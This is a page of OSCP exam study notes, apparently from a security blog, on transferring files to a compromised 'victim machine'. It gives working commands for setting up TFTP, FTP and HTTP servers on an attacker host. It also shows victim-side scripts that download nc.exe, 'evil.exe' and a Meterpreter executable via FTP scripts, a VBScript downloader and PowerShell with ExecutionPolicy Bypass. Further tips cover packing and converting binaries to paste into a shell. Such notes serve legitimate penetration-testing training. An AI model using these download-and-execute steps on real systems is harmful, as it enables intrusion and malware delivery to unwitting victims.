MENU

SECURISM

All about Information Security

OSCP NOTES – FILE TRANSFERS

LINUX FILE TRANSFERS

http://aruljohn.com/info/filetransfer/

wget

> *wget <URL> -P <local path>*

scp

> *scp <source file> <username>@192.168.xx.xx:/home/<username>/*

ssh

> *ssh HOST cat < LOCALFILE “>” REMOTEFILE*

curl

> *curl -o taglist.zip <Any URL>*
>
> *curl -O <URL with file name>*

ftp

sftp

nc

WINDOWS FILE TRANSFERS

TIP: In a gained shell, file transfer commands must be non-interactive

TFTP

In Kali, create /tftpboot/ directory specifically only for TFTP daemon service

Setup TFTP on Attacker Machine

```
atftpd –daemon –port 69 <directory>
service atftpd start
cp <file> /tftpboot/
```

Command on victim machine

```
tftp -i <ip address of attacker> GET <file name>
```

FTP

Setup FTP server on attacker machine

```
apt-get install pure-ftpd
setup-ftp
username: offsec, pswd: lab
```

Commands on victim machine : Write set of commands in a text file

```
echo open 192.168.10.5 21> ftp.txt
echo USER offsec>> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp –v -n -s:ftp.txt
```

VBSCRIPT

Setup HTTP web server on attacker machine

```
cp <files> /var/www/
service apache2 start
```

Commands on victim machine : Write set of commands in text file

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> wget.vbs
echo http.Open “GET”, strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = “” >> wget.vbs
echo strBuffer = “” >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

Run wget.vbs at victim machine

```
cscript wget.vbs http://192.168.xx.xx/evil.exe evil.exe
```

POWERSHELL

On victim machine, write set of commands in a ps1 file

```
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = “http://10.xx.xx.xx:8000/Meterpreter_windows_4444.exe&#8221; >>wget.ps1
echo $file = “new-exploit.exe” >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
```

Run wget.ps1 on victim machine

```
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

DEBUG.EXE

1. Optimize the exe to be transferred

```
upx -9 <exe file>
```

2. Verify if the exe is still running fine

> *wine <exe file>*

3. Convert exe to text file

> *wine exe2bat.exe <exe file> <txt file>*

Text file will be generated, simply copy and paste the text file contents to the shell.

SHARE THIS:

Twitter Facebook

★ Like

Be the first to like this.

Be the first to like this.

Search …

PAGES

- Contact
- OSCP Notes – Buffer Overflow
- OSCP Notes – Exploitation
- OSCP Notes – File Transfers
- OSCP Notes – Information Gathering
- OSCP Notes – Meterpreter
- OSCP Notes – Password Attacks
- OSCP Notes – Port Forwarding
- OSCP Notes – Port Scanning
- OSCP Notes – Privilege Escalation (Linux)
- OSCP Notes – Privilege Escalation (Windows)
- OSCP Notes – Shells